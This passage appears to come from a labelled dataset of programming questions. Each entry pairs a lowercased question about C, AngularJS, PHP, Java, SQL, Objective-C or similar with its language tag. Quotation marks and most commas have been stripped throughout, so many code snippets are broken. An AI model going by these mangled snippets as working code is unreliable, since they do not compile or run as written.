cgrectvalue]: unrecognized selector sent to instance 0x7f90d86b75a0   </blockquote>   please suggest a solution.,objective-c
for loop says expression syntax error when initializing integer in the loop  while programming i have come to an unusual error. when i initialize an integer in a loop  sometimes it says that the expression is not valid  but at times it accepts it. this is my code which gives error:   <pre><code>int pow(int x int n); int main() {     int x n result;     printf( enter a number:\n );     scanf( %d  &amp;x);     printf( enter its power:\n );     scanf( %d  &amp;n);     result=pow(x n);     printf( result is %d\n  result);     getch();     return 0; } int pow(int x int n) {        for(int i=1;i&lt;n;i++)   //&lt;-- here it says that declaration syntax error     x=x*i;     return x; } </code></pre>   while when i change it like this :   <pre><code>int pow(int x int n) {        int i;     for(i=1;i&lt;n;i++)       x=x*i;     return x; } </code></pre>,c
initialising and re-initialising a component in angularjs  i encounter the problem of how to initialise and later re-initialise a directive/component in angularjs all the time  and i m not satisfied with any of my current approaches below.    eg i have a <code>&lt;clock&gt;</code> directive/component  and it needs to be given the time from externally when i initialise the clock  so that the clock shows the correct time.     if the user updates the time from within clock  we can just set up an <code>onchangetime</code> function as tero does <a href= http://teropa.info/blog/2015/10/18/refactoring-angular-apps-to-components.html#replace-external-effect-with-bound-output  rel= nofollow >here</a> with <code>ondelete</code> to update the parent.     but what if the time is changed by <code>clock</code> s parent and the <code>clock</code> needs to be re-initialised with the new time       it needs to be re-initialised  because perhaps  the time passed in needs to be parsed into hours  mins  seconds  etc for the purposes of <code>&lt;clock&gt;</code>.    i have used three ways:   <h2>1. pass update function</h2>   <code>mainctrl</code> makes a variable  eg <code>updatetime</code>  available (eg using  =  binding)  and clock will upon initialising  set that variable to the internal function that will update the clock with the new time. <code>mainctrl</code> can call <code>updatetime</code> whenever it needs to update the clock s time.    <pre><code>.controller( mainctrl   function() {   var vm = this;   vm.changetime = function(time) {     // do controller stuff     vm.updatetime(time);  // this is clock s function   } })  .component( clock   {   restrict:  e     bindings: {      updatetime :  =    }    controller:  clockcontroller as vm  });  function clockcontroller() {   var vm = this;   // initialise clock by passing the parent its update function   vm.updatetime = function(time) {     // use time arg to update internal clock variables such as      // hours  mins  secs  so that the clock displays the correct time   } }  ...  &lt;div ng-controller= mainctrl as vm &gt;   &lt;clock update-time= vm.updatetime &gt;&lt;/clock&gt; &lt;/div&gt; </code></pre>   i like this approach  but you get  <code>updatetime</code> is not a function  when you need <code>clock</code> to show the time as soon as <code>mainctrl</code> initialises. can be fixed with <code>$timeout</code> hacks  but yuck.   <h2>2. pass update function and variable</h2>   pass the <code>updatetime</code> function and <code>time</code> (eg datetime object) as  =  parameters. upon first initialisation  <code>clock</code> uses the <code>time</code> variable to set its internal time. and after that the <code>mainctrl</code> can use <code>updatetime</code> to tell <code>clock</code> that the time has changed.    <pre><code>.controller( mainctrl   function() {   var vm = this;   vm.time = date.now();    vm.changetime = function(time) {     vm.time = time;     vm.updatetime();  //notifies clock that time changed   } })  .component( clock   {   restrict:  e     bindings: {      updatetime :  =        time :  =    }    controller:  clockcontroller as vm  });  function clockcontroller() {   var vm = this;    vm.updatetime = _inittime // for parent to re-initialise later    function _inittime() {     // use local vm.time to update internal clock variables such as      // hours  mins  secs  so that the clock displays the correct time   }    _inittime();  // first initialisation }  ...  &lt;div ng-controller= mainctrl as vm &gt;   &lt;clock update-time= vm.updatetime  time= vm.time &gt;&lt;/clock&gt; &lt;/div&gt; </code></pre>   this assumes that by the time <code>mainctrl</code> needs to re-initialise the <code>clock</code>  <code>clock</code> has initialised  and therefore made the <code>updateclock</code> function available to <code>mainctrl</code>  getting around the problem in 1.  this works  but it seems weird and redundant having a <code>updatetime</code> just to say  oh  by the way  i updated <code>time</code> .   <h2>3. use a $watch</h2>   just pass <code>time</code> and have <code>clock</code> put a <code>$watch</code> on it.    <pre><code>.controller( mainctrl   function() {   var vm = this;   vm.time = date.now();    vm.changetime = function(time) {     vm.time = time;   } })  .component( clock   {   restrict:  e     bindings: {      time :  =    }    controller:  clockcontroller as vm  });  function clockcontroller($scope) {   var vm = this;    $scope.$watch( vm.time   function(newval) {     // use newval to update internal clock variables such as      // hours  mins  secs  so that the clock displays the correct time   } }  ...  &lt;div ng-controller= mainctrl as vm &gt;   &lt;clock time= vm.time &gt;&lt;/clock&gt; &lt;/div&gt; </code></pre>   i don t like $watches in general because of the performance issues.    what is the best (most angular) way  is there a better approach people can think of or recommend,angularjs
how remove javascript based default url  page count and date in window.print()  <pre><code>  [from the output have to remove page url  page count from header and footer][1]       [1]: http://i.stack.imgur.com/iw9yt.jpg </code></pre>  <blockquote>    how remove javascript based default url  page count and date in window.print()    browser print setup not use only code based remove  </blockquote>,javascript
get matching route from url in rails (again)  how can i get hold of the matching route for a url in rails  given a url  i want to query the respective controller and action. note  the current page isn t the url in question.    this question has been posed before but wasn t answered.    cheers.,ruby-on-rails
please explain the following code   while going through some of the code  i found there is written like this:    <pre><code>listviewdataitem dataitem = (listviewdataitem)(((imagebutton)sender).parent.parent);  int noteid = convert.toint32(((hiddenfield)dataitem.findcontrol( hidnoteid )).value); </code></pre>   please explain the meaning of these two line.,asp.net
issue with messagebox template  i have this template for messagebox. i have changed so you can have a scrollbar  the only problem i have now is that the title is very separate from the message and i do not know how to unite them. try everything  but i can not.   <pre><code>    using system; using system.collections.generic; using system.drawing; using system.windows.forms; using point = system.drawing.point; using size = system.drawing.size;  namespace wpfapplication2.xdialog {     class msgbox : form     {         private const int cs_dropshadow = 0x00020000;         private static msgbox _msgbox;         private readonly panel _plheader = new panel();         private readonly panel _plbutton = new panel();         private readonly panel _plicon = new panel();         private readonly picturebox _picicon = new picturebox();         private readonly flowlayoutpanel _flpbuttons = new flowlayoutpanel();         // resharper disable once privatefieldcanbeconvertedtolocalvariable         private readonly label _lbltitle;         // resharper disable once privatefieldcanbeconvertedtolocalvariable         private readonly richtextbox _lblmessage;         private readonly list&lt;button&gt; _buttoncollection = new list&lt;button&gt;();         private static dialogresult _buttonresult;         private static timer _timer;         private static point _lastmousepos;      //[dllimport( user32.dll   charset = charset.auto)]     //private static extern bool messagebeep(uint type);      private msgbox()     {         formborderstyle = formborderstyle.none;         backcolor = color.fromargb(190  190  190);         //backcolor = color.darkgreen;         startposition = formstartposition.centerscreen;         //padding = new padding(3);         //width = 400;          _lbltitle = new label         {             forecolor = color.black              textalign = contentalignment.middleleft              font = new font( segoe ui   15)              backcolor = color.red              autosize = true         };          _lblmessage = new richtextbox         {             forecolor = color.black              font = new font( segoe ui   12)              multiline = true              wordwrap = true              dock = dockstyle.fill              readonly = true              backcolor = color.yellow              borderstyle = borderstyle.none         };          _flpbuttons.flowdirection = flowdirection.righttoleft;         _flpbuttons.dock = dockstyle.fill;          //panel del titulo         _plheader.dock = dockstyle.top;         _plheader.controls.add(_lbltitle);          // panel de los botones         _plbutton.dock = dockstyle.bottom;         _plbutton.padding = new padding(20);         _plbutton.backcolor = color.fromargb(170  170  170);         _plbutton.height = 80;         _plbutton.controls.add(_flpbuttons);          // icono         _picicon.width = 32;         _picicon.height = 32;         _picicon.location = new point(20  60);          // panel del icono         _plicon.dock = dockstyle.left;         _plicon.padding = new padding(20);         _plicon.width = 70;         _plicon.backcolor = color.blue;         _plicon.controls.add(_picicon);          var controlcollection = new list&lt;control&gt;         {             this              _lbltitle              _flpbuttons              _plheader              _plbutton              _plicon              _picicon         };          foreach (var control in controlcollection)         {             control.mousedown += msgbox_mousedown;             control.mousemove += msgbox_mousemove;         }          controls.add(_lblmessage);         controls.add(_plheader);         controls.add(_plicon);         controls.add(_plbutton);      }      public override sealed color backcolor     {         get { return base.backcolor; }         set { base.backcolor = value; }     }      private static void msgbox_mousedown(object sender  mouseeventargs e)     {         if (e.button == mousebuttons.left)         {             _lastmousepos = new point(e.x  e.y);         }     }       private static void msgbox_mousemove(object sender  mouseeventargs e)     {         if (e.button != mousebuttons.left) return;         _msgbox.left += e.x - _lastmousepos.x;         _msgbox.top += e.y - _lastmousepos.y;     }      public static dialogresult show(string message)     {         _msgbox = new msgbox { _lblmessage = { text = message } };          initbuttons(buttons.ok);          _msgbox.showdialog();         return _buttonresult;     }      public static dialogresult show(string message  string title)     {         _msgbox = new msgbox         {             _lblmessage = { text = message }              _lbltitle = { text = title }              size = messagesize(message  title)         };          initbuttons(buttons.ok);          _msgbox.showdialog();         return _buttonresult;     }      public static dialogresult show(string message  string title  buttons buttons)     {         _msgbox = new msgbox { _lblmessage = { text = message }  _lbltitle = { text = title } };         _msgbox._plicon.hide();          initbuttons(buttons);          _msgbox.size = messagesize(message  title);         _msgbox.showdialog();         return _buttonresult;     }      public static dialogresult show(string message  string title  buttons buttons  icon icon)     {         _msgbox = new msgbox { _lblmessage = { text = message }  _lbltitle = { text = title } };          initbuttons(buttons);         initicon(icon);          _msgbox.size = messagesize(message  title);         _msgbox.showdialog();         //messagebeep(0);         return _buttonresult;     }      public static dialogresult show(string message  string title  buttons buttons  icon icon  animatestyle style)     {         _msgbox = new msgbox { _lblmessage = { text = message }  _lbltitle = { text = title }  height = 0 };          initbuttons(buttons);         initicon(icon);          _timer = new timer();         var formsize = messagesize(message  title);          switch (style)         {             case animatestyle.slidedown:                 _msgbox.size = new size(formsize.width  0);                 _timer.interval = 1;                 _timer.tag = new animatemsgbox(formsize  style);                 break;              case animatestyle.fadein:                 _msgbox.size = formsize;                 _msgbox.opacity = 0;                 _timer.interval = 20;                 _timer.tag = new animatemsgbox(formsize  style);                 break;              case animatestyle.zoomin:                 _msgbox.size = new size(formsize.width + 100  formsize.height + 100);                 _timer.tag = new animatemsgbox(formsize  style);                 _timer.interval = 1;                 break;         }          _timer.tick += timer_tick;         _timer.start();          _msgbox.showdialog();         //messagebeep(0);         return _buttonresult;     }      static void timer_tick(object sender  eventargs e)     {         var timer = (timer)sender;         var animate = (animatemsgbox)timer.tag;          switch (animate.style)         {             case animatestyle.slidedown:                 if (_msgbox.height &lt; animate.formsize.height)                 {                     _msgbox.height += 17;                     _msgbox.invalidate();                 }                 else                 {                     _timer.stop();                     _timer.dispose();                 }                 break;              case animatestyle.fadein:                 if (_msgbox.opacity &lt; 1)                 {                     _msgbox.opacity += 0.1;                     _msgbox.invalidate();                 }                 else                 {                     _timer.stop();                     _timer.dispose();                 }                 break;              case animatestyle.zoomin:                 if (_msgbox.width &gt; animate.formsize.width)                 {                     _msgbox.width -= 17;                     _msgbox.invalidate();                 }                 if (_msgbox.height &gt; animate.formsize.height)                 {                     _msgbox.height -= 17;                     _msgbox.invalidate();                 }                 break;         }     }      private static void initbuttons(buttons buttons)     {         switch (buttons)         {             case buttons.abortretryignore:                 _msgbox.initabortretryignorebuttons();                 break;              case buttons.ok:                 _msgbox.initokbutton();                 break;              case buttons.okcancel:                 _msgbox.initokcancelbuttons();                 break;              case buttons.retrycancel:                 _msgbox.initretrycancelbuttons();                 break;              case buttons.yesno:                 _msgbox.inityesnobuttons();                 break;              case buttons.yesnocancel:                 _msgbox.inityesnocancelbuttons();                 break;         }          foreach (var btn in _msgbox._buttoncollection)         {             btn.forecolor = color.fromargb(170  170  170);             btn.forecolor = color.black;             btn.font = new font( segoe ui   8);             btn.padding = new padding(3);             btn.flatstyle = flatstyle.flat;             btn.height = 30;             btn.flatappearance.bordercolor = color.fromargb(99  99  98);              _msgbox._flpbuttons.controls.add(btn);         }     }      private static void initicon(icon icon)     {         switch (icon)         {             case icon.application:                 _msgbox._picicon.image = systemicons.application.tobitmap();                 break;              case icon.exclamation:                 _msgbox._picicon.image = systemicons.exclamation.tobitmap();                 break;              case icon.error:                 _msgbox._picicon.image = systemicons.error.tobitmap();                 break;              case icon.info:                 _msgbox._picicon.image = systemicons.information.tobitmap();                 break;              case icon.question:                 _msgbox._picicon.image = systemicons.question.tobitmap();                 break;              case icon.shield:                 _msgbox._picicon.image = systemicons.shield.tobitmap();                 break;              case icon.warning:                 _msgbox._picicon.image = systemicons.warning.tobitmap();                 break;         }     }      private void initabortretryignorebuttons()     {         var btnabort = new button { text = @ abortar  };         btnabort.click += buttonclick;         cancelbutton = btnabort;          var btnretry = new button { text = @ reintentar  };         btnretry.click += buttonclick;         btnretry.width = 80;          var btnignore = new button { text = @ ignorar  };         btnignore.click += buttonclick;          _buttoncollection.add(btnignore);         _buttoncollection.add(btnabort);         _buttoncollection.add(btnretry);      }      private void initokbutton()     {         var btnok = new button { text = @ ok  };         btnok.click += buttonclick;         cancelbutton = btnok;          _buttoncollection.add(btnok);     }      private void initokcancelbuttons()     {         var btnok = new button { text = @ ok  };         btnok.click += buttonclick;          var btncancel = new button { text = @ cancelar  };         btncancel.click += buttonclick;         cancelbutton = btncancel;          _buttoncollection.add(btncancel);         _buttoncollection.add(btnok);      }      private void initretrycancelbuttons()     {         var btnretry = new button { text = @ reintentar  };         btnretry.click += buttonclick;          var btncancel = new button { text = @ cancelar  };         btncancel.click += buttonclick;         cancelbutton = btncancel;          _buttoncollection.add(btncancel);         _buttoncollection.add(btnretry);      }      private void inityesnobuttons()     {         var btnyes = new button { text = @ sí  };         btnyes.click += buttonclick;          var btnno = new button { text = @ no  };         btnno.click += buttonclick;         cancelbutton = btnno;          _buttoncollection.add(btnno);         _buttoncollection.add(btnyes);      }      private void inityesnocancelbuttons()     {         var btnyes = new button { text = @ sí  };         btnyes.click += buttonclick;          var btnno = new button { text = @ no  };         btnno.click += buttonclick;          var btncancel = new button { text = @ cancelar  };         btncancel.click += buttonclick;         cancelbutton = btncancel;          _buttoncollection.add(btncancel);         _buttoncollection.add(btnno);         _buttoncollection.add(btnyes);     }      private static void buttonclick(object sender  eventargs e)     {         var btn = (button)sender;          switch (btn.text)         {             case  abortar :                 _buttonresult = dialogresult.abort;                 break;              case  reintentar :                 _buttonresult = dialogresult.retry;                 break;              case  ignorar :                 _buttonresult = dialogresult.ignore;                 break;              case  ok :                 _buttonresult = dialogresult.ok;                 break;              case  cancelar :                 _buttonresult = dialogresult.cancel;                 break;              case  sí :                 _buttonresult = dialogresult.yes;                 break;              case  no :                 _buttonresult = dialogresult.no;                 break;         }          _msgbox.dispose();     }      private static size messagesize(string message  string title)     {         var g = _msgbox.creategraphics();         var width = 320;         var height = 320;          var messagesize = g.measurestring(message  new font( segoe ui   10));         var titlesize = g.measurestring(title  new font( segoe ui   15));          if (message.length &lt; 150)         {             if ((int)messagesize.width &gt; 350 || (int)titlesize.width &gt; 350)             {                 width = (messagesize.width &gt; titlesize.width)                       (int)messagesize.width                     : (int)(titlesize.width + titlesize.width / 4);             }         }         else         {             //var groups = (from match m in regex.matches(message   .{1 180} ) select m.value).toarray();             //var lines = groups.length + 1;             width = 775;             height += (int)(messagesize.height + 50);             if (height &gt; 575)                 height = 575;         }         return new size(width  height);     }      protected override createparams createparams     {         get         {             var cp = base.createparams;             cp.classstyle |= cs_dropshadow;             return cp;         }     }      protected override void onpaint(painteventargs e)     {         base.onpaint(e);          var g = e.graphics;         var rect = new rectangle(new point(0  0)  new size(width - 1  height - 1));         var pen = new pen(color.fromargb(0  151  251));          g.drawrectangle(pen  rect);     }      public enum buttons     {         abortretryignore = 1          // resharper disable once inconsistentnaming         ok = 2          // resharper disable once inconsistentnaming         okcancel = 3          retrycancel = 4          yesno = 5          yesnocancel = 6     }      public new enum icon     {         application = 1          exclamation = 2          error = 3          warning = 4          info = 5          question = 6          shield = 7          search = 8     }      public enum animatestyle     {         slidedown = 1          fadein = 2          zoomin = 3     }      //private void initializecomponent()     //{     //    suspendlayout();     //    //      //    // msgbox     //    //      //    clientsize = new size(300  375);     //    name =  msgbox ;     //    resumelayout(false);      //}  }  class animatemsgbox {     public size formsize;     public readonly msgbox.animatestyle style;      public animatemsgbox(size formsize  msgbox.animatestyle style)     {         formsize = formsize;         style = style;     } } </code></pre>   }    <a href= https://i.stack.imgur.com/ezxwm.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ezxwm.jpg  alt= enter image description here ></a>,c#
using switch case with context menu item click event  i have a context menu with sub-menus that have a lot of items.so how can i use case switch or something like that for the click event of those items instead of double clicking them from the designer     regards.,c#
loading images programmatically  i want to load different images in different screens depending on some action performed on some screen.that is depending on the action performed on one screen it calciulates some result and based on that it should load images on different screens.but this should happen onload. can anyone give me some solution,iphone
taking a string as input and storing them in a character array in c  i am stumped on how to store strings in an array in c  with each character kept separately. as an example  if the user inputs <em><code>hellop</code></em>  i want to store it in a given array  say <code>usertext</code>  with <code>usertext[0] = h</code>  <code>usertext[1] = e</code>  <code>usertext[2] = l</code>  and so on. i know this is easy stuff  but i m still new. so if anyone could help  it would be great. please explain how to do this using pointers.   <pre><code>#include&lt;stdio.h&gt; void main() {     char a[10] c;     int i=0;     while((c=getchar())!= \n )     {         scanf( %c  &amp;a[i++]);         c=getchar();      }      for(i=0;i&lt;11;i++)          printf( %c  a[i]); } </code></pre>   the program outputs some garbage value (<code>eoeoeoeo\363</code>) when i type in <em><code>hellop</code></em>.,c
c# converting listbox to string then aggregate  i have a listbox being populated from a combo box.  what i need to do is string all the contents of the listbox together and then aggregate it.   <pre><code>string cols = listbox1.items.aggregate((f  s) =&gt; f.value +     + s.value); </code></pre>   doesnt work.,c#
index 4 beyond bounds for nsarray  i m a beginner in this field and i m facing this problem which says :[nsmutablearray objectatindex:]:index 4 beyond bounds [0 .. 3]. can t seem to find out error for this. can any body help me in this regard  i m attaching the code snippet for this...   <pre><code>nsmutablearray *my_arruserinfo = [userresponceperser userdesc]; nsstring *encryptalgo=@  ; encryptalgo = [encryptalgo stringbyappendingstring:[[my_arruserinfo objectatindex:9]objectatindex:4]]; </code></pre>   the userresponceperser is a perser which perses data elements from web service and stores it in the array.,objective-c
how to keep data for each row in custom cursoradapter  i use custom cursoradapter and viewholder pattern  i  want to know how to keep data for each row.    for example  keeping favorites value (true or false)    my viewholder:   <pre><code> private static class viewholder  {         int column_id  column_gtext  column_isfav  column_isread;         textview tvtext;         imageview btnfavorites;                  boolean changedefaultfav; // if btnfav clicked its change     } </code></pre>   my newview:   <pre><code> @override     public view newview(context context  cursor cursor  viewgroup parent) {         //return null;         view view =  layoutinflater.from(context).inflate(r.layout.goftar_lr_default  parent  false);         viewholder holder = new viewholder();         holder.tvtext = (textview)view.findviewbyid(r.id.goftar_text);         holder.btnfavorites = (imageview)view.findviewbyid(r.id.bg_fav);                     holder.tvtext.settypeface(font);          holder.column_id = cursor.getcolumnindexorthrow( _id );         holder.column_gtext = cursor.getcolumnindexorthrow( gtext );         holder.column_isfav = cursor.getcolumnindexorthrow( isfav );         holder.column_isread = cursor.getcolumnindexorthrow( isread );          holder.changedefaultfav = false;          holder.tvgoftartext.settext(holder.tvgoftartext.gettext() +  \n  +  append newview );       view.settag(holder);     return view; } </code></pre>   my bindview:   <pre><code>@override     public void bindview(final view view  context context  final cursor cursor) {           final viewholder holder = (viewholder)view.gettag();         holder.tvtext.settext(cursor.getstring(holder.column_gtext));          final int position = cursor.getposition();          holder.btnfavorites.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                  int newvalue = 1;                 if(holder.changedefaultfav == true) {                     holder.changedefaultfav = false;                     newvalue = 0;                 }                  cursor.movetoposition(position);                     dh.opendatabase();                                        dh.updatefavorites(cursor.getint(holder.column_id)  newvalue);                 dh.close();             }         }); </code></pre>   please help me  thanks so much :),android
how do i add sound correctly   ok so im working on my program which will play a song once a button is clicked  i have the code down  and my audio is playing when the button is clicked but the only problem now is that my program is going completely bonkers and just playing the audio when the button is clicked!!!! the program just freezes the audio keeps playing but the program will not do it s other functions! what am i doing wrong  and how do i fix it      heres the code for the action listeners button     in myframe.java   <pre><code>sound sound = new sound(); private file pokemonbattle = new file( .\\audio\\ + sound.wav );   private void dualbuttonactionperformed(java.awt.event.actionevent evt)            {                                                // todo add your handling code here:     for (int i = 0; i&lt;1; i++){     c = deck.getnextcard();     p1hand[i] = c;     p1.setcard(c);                   //ignore all this     c = deck.getnextcard();     p2hand[i] = c;     p2.setcard(c);      }      pokemon1.setenabled(true);     pokemon2.setenabled(true);     pokemon1.seticon(p1hand[0].getimage()); //ignore all this as well     pokemon2.seticon(p2hand[0].getimage());     textarea.settext( pokemon 1: +p1hand[0].tostring()+ \npokemon 2:      +p2hand[0].tostring());     p1resultlabel.settext(  );     p2resultlabel.settext(  );        //this is where im calling my audio      sound.playaudio(pokemonbattle);//this is where im calling my play audio method   } </code></pre>   sound.java where i have playaudio()   <pre><code>import java.io.file; import javax.sound.sampled.*;    public class sound {  public void playaudio(file sf){     audioformat audioformat;     audioinputstream audioinputstream;     sourcedataline sourcedataline;      try     {         audioinputstream = audiosystem.getaudioinputstream(sf);         audioformat = audioinputstream.getformat();         system.out.println(audioformat);          dataline.info datalineinfo = new     dataline.info(sourcedataline.class audioformat);          sourcedataline =(sourcedataline)audiosystem.getline(datalineinfo);          byte tempbuffer[]=new byte[100000];         int cnt;         sourcedataline.open(audioformat);         sourcedataline.start();         while((cnt=audioinputstream.read                      (tempbuffer 0 tempbuffer.length))!=-1){             if(cnt&gt;0){                 sourcedataline.write(tempbuffer 0 cnt);             }          }      }     catch (exception e)     {         e.printstacktrace();         system.exit(0);         }     }  } </code></pre>,java
dev/urandom unique id algorithm  before start  i would like to thank all and apologize because i don t speak english fluently. well  i m generating a unique number with this algorithm below.    my unique ids is not global for all products  but is used an unique id to each one  example:    news  albums  videos...    i don t want check in the database if this id exists  because the traffic is too big.    <strong>note-1:</strong> exists the possibility of users submit something simultaneously.    <strong>note-2:</strong> my unique ids are case sensitive.    this ids are visible in url  and i don t want a big id with many chars. <br> <strong>url</strong> <br> http://www.[...].com/news/a-title-of-something-post-hq38-k8_.html    my ids are created based in dev/urandom   <pre><code>$id = strtr(base64_encode(mcrypt_create_iv(5  mcrypt_dev_urandom))   +=/    x_- ); </code></pre>   exists a best solution or this way is really good     <br> (documentation) - functions which were used in this topic:   <ol> <li> <strong>strtr</strong> <em>( string $str   string $from   string $to )</em> </li> <li> <strong>base64_encode</strong> <em>( string $data )</em> </li> <li> <strong>mcrypt_create_iv</strong> ( int $size [  int $source = mcrypt_dev_random ] ) </li> </ol>,php
convert mutblearray to nsstring in iphone sdks <pre><code>- (ibaction)doupload:(id)sender {      nsmutablearray *selected_items = [[nsmutablearray alloc] init];      for (int i = 0; i&lt;[appdelegate.notesarray count]; i++) {         if (selected[i]) [selected_items addobject:[appdelegate.notesarray objectatindex:i]];               uploadview *uploadview = (uploadview *)self.view;             if (uploadview != nil)             {                  [m_owner uploadstring:here i want to pass the value];                 //[self dismissmodalviewcontrolleranimated:yes];             }           }     } </code></pre>   on my move code i want to pass the multiple values from uitableview to  [m_owner uploadstring:here i want to pass the value];but i am only ble to pas the string to gdoc how to convert or split the mutblearray to the uplod string  my didselecetrowatindexpathe code looks like this   <pre><code> nsuinteger row = [indexpath row];      uitableviewcell *cell = [tableview cellforrowatindexpath:indexpath];     if (cell.accessorytype == uitableviewcellaccessorycheckmark) {         cell.accessorytype = uitableviewcellaccessorynone;         selected[row] = no;     }     else {         cell.accessorytype = uitableviewcellaccessorycheckmark;         selected[row] = yes;     }      [tableview deselectrowatindexpath:indexpath animated:yes]; </code></pre>,iphone
on click scroll up or down 100vh pure javascript  i am trying to implement a simple button that on click will scroll the page either up or down 100vh between my sections. i can see plenty of examples doing this with jquery but i m looking for a pure javascript solution. i m not to sure how to achieve it.    appreciate any advice.    html   <pre><code>&lt;section class= section section-1 &gt;   &lt;div class= btn &gt;&lt;/div&gt; &lt;/section&gt; &lt;section class= section section-2 &gt;   &lt;div class= btn &gt;&lt;/div&gt; &lt;/section&gt; &lt;section class= section section-3 &gt;   &lt;div class= btn &gt;&lt;/div&gt; &lt;/section&gt; </code></pre>   css   <pre><code>.section {   width: 100%;   height: 100vh: } </code></pre>   this is what i have come up with so far   <pre><code>for (var s = 0; s &lt; btn.length; s++) {     btn[s].addeventlistener( click   function(){         window.scrollby(0 1000);     }); } </code></pre>,javascript
file handling in python  thanks in advance. i have written a program which works for small files. but that doesn t work for files of 1 gb. please tell me is there is any way to handle big file. here is the code.   <pre><code>fh=open( reg.fa   r ) c=fh.readlines() fh.close()  s=     for i in range(0 (len(c))):       s=s+c[i]       lines=s.split( \n )     for line in s:             s=s.replace( \n    ) s=s.replace( \n    )           print s  </code></pre>,python
how to update a column name which is named after a date in sql <pre><code>update studentattendance join studentdetails using(matricno) join studentmodules using (matricno) set 05/12/15 = 1 where carduid =  01545695  </code></pre>   hey hows it going  i m having trouble updating a column in my database  the column is called  05/12/15  because it s named after a date. however i m having trouble updating it with sql because the syntax is wrong.    how do i update it as it seems to be having trouble with the forward slashes. i ve tried single quotes and square brackets but they don t work    thanks,mysql
css sidebar should scroll vertically when content overflows  how do i need to modify <a href= http://limpid.nl/lab/css/fixed/left-sidebar  rel= nofollow >this example</a> so that if <s>the</s> its content is longer (in height) than the sidebar  then the sidebar shows the vertical scrollbar     thanks,css
how to remove top margin from first   paragraph after <h2> and top margin from <h2> when it comes after     how to top margin from first <code>&lt;p&gt;</code> paragraph after <code>&lt;h2&gt;</code>  and if any <code>h2</code> comes after <code>p</code> then either <code>p</code> should not have bottom margin or <code>h2</code> should not have top margin    i have    <pre><code>h2 p  h2 p </code></pre>,css
access json array value in angularjs  i am getting following json response from google analytic    rows :     [         [              new visitor                100.0                6          ]          [              returning visitor                0.0                14          ]     ]    i want to access those value in angularjs is any one can solve my problem,angularjs
rails controller update record by copying field  i have a rails 3.2 app where i would like to copy the contents of one field to another in a controller action.    <code>costprojects</code> contains these 2 columns:   <pre><code>original_year project_year </code></pre>   i want to copy the contents of <code>project_year</code> into <code>original_year</code>.    i tried doing this:   <pre><code>    update = costproject.where(:id =&gt; @costprojects).update_all(:original_year =&gt; :project_year) </code></pre>   i get this error:   <pre><code>pg::error: error:  invalid input syntax for integer:  project_year  </code></pre>   line 1: update  costprojects  set  original_year  =  project_year  w...   <pre><code>                                                ^ </code></pre>   thanks for the help!,ruby-on-rails
header:location returning true statement on screen instead of redirecting  i have an online form that uses the post method to create a url for a 3rd party payment system.    i can successfully generate the url but instead of redirecting the browser is printing a statement on the screen: true <a href= https://au.ewaygateway.com/paymentpage.aspx value=cy2ofdkousyl5iu8ui1fpzbddafxyr1d9vcun21aauexxxxxx  rel= nofollow >https://au.ewaygateway.com/paymentpage.aspx value=cy2ofdkousyl5iu8ui1fpzbddafxyr1d9vcun21aauexxxxxx</a>   <pre><code>&lt; php $email = trim(strip_tags($_post[ ceml ])); $amt = trim(strip_tags($_post[ amt ])); $inv = trim(strip_tags($_post[ ord ])); header( location:https://au.ewaygateway.com/request/ customerid=88888888&amp;username=email@email.com&amp;amount= .$_post[ amt ]. &amp;currency=aud&amp;customeremail= .$_post[ email ]. &amp;returnurl=http://www.domain.com.au/thank/&amp;cancelurl=http://www.domain.com.au&amp;merchantinvoice= .$_post[ inv ].  );  exit;  &gt; </code></pre>,php
web socket and non blocking mode  if we set a socket channel configureblocking to false  then will the connection automatically  become duplex mode   what i am trying to say  in that case  can the server then push the data to client browser asynchronously   do i need to program this behaviour manually,java
i can t get this query right  i got a two table the 1st one looks like this   <pre><code>leave       limit ----------------- vacation      15 sick          10 absent         9 </code></pre>   and the second one..   <pre><code>person             leave      use ------------------------------- chuck norris     sick        1 bruce lee        absent      2 </code></pre>   what i want it to do is to join the tables and when i select a person it will display like this   <pre><code>ex. i select chuck norris   leave        limit        use ------------------------------ vacation       15          0 sick           10          1 absent          9          0 </code></pre>   here s what i ve done already....   <pre><code>select        leavetyptbl.leave  leavetyptbl.limit  isnull(sum(leavetbl.use)  0) as expr1                 leavetyptbl.limit- isnull(sum(leavetbl.use)  0) as dayleft from          leavetyptbl left outer join               leavetbl on leavetyptbl.leave = leavetbl.leave where         leavetbl.person = chuck norris  group by leavetyptbl.leave  leavetyptbl.limit </code></pre>   but the result is not what i expect it..lol    <pre><code>leave    limit    use    dayleft </code></pre>  <hr>  <pre><code>sick       10       1          9 </code></pre>   i only get 1 row will..,sql
objective-c: using custom types in protocol member declaration  please consider the following header (lessondelegate.h):   <pre><code>#import  lesson.h   #ifndef birdeye_lessondelegate_h #define birdeye_lessondelegate_h   @protocol lessondelegate &lt;nsobject&gt;  - (bool) lesson:(lesson*)lesson didrequestnavigation:(nsstring*) url;  @end  #endif </code></pre>   it gives an error here:     - (bool) lesson:(<strong>lesson*</strong>)lesson didrequestnavigation:(nsstring*) url;     saying  expected a type . it complains about lesson type even if it is declared and successfully used in other classes.    <code>lesson.h</code> is where it is supposed to be (same folder) and looks like this:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  simplemanifest.h  #import  activity.h  #import  lessondelegate.h   @interface lesson : activity  @property (retain  nonatomic) nsstring *url; @property (retain  nonatomic) simplemanifest *manifest; @property (retain  nonatomic  readonly) activity *runningactivity; @property (weak) id&lt;lessondelegate&gt; delegate;  - (id) initwithurl:(nsstring*) aurl; - (nsstring*) deteails;  @end </code></pre>   where s my mistake,objective-c
save edited data in html rows  i have the following code in which i am able to edit the context in rows  and each row contains a save button. when i edit and save the context it is working fine  but when i try to edit and don t save it and try to edit the other rows  the context which i edited is getting saved without clicking the save button. how do i revert to the original value    <pre><code>$( #tableid ).on( click    tr   function () {     $(this).find( .btnsave ).attr( disabled   false);     $( .btnsave ).click(function () {         $( #tableidtd ).each(function ()         {             if ($(this).hasclass( editclass ))             {                 $(this).parents( tr ).css( background-color    white );                 $(this).html($(this).find( input ).val());                 $(this).removeclass( editclass );                 $( .btnsave ).attr( disabled   true);             }         });     });     $( #tableid td ).each(function () {         if ($(this).hasclass( editclass )) {             $(this).parents( tr ).css( background-color    white );             $(this).html($(this).find( input ).val());             $(this).removeclass( editclass );         }     });     $(this).find( td:not(:first-child  :last-child) ).each(function ()     {         var oldcontent= $(this).text();         if (oldcontent!=    )         {             $(this).parents( tr ).css( background-color    red );             $(this).addclass( editclass );             $(this).html( 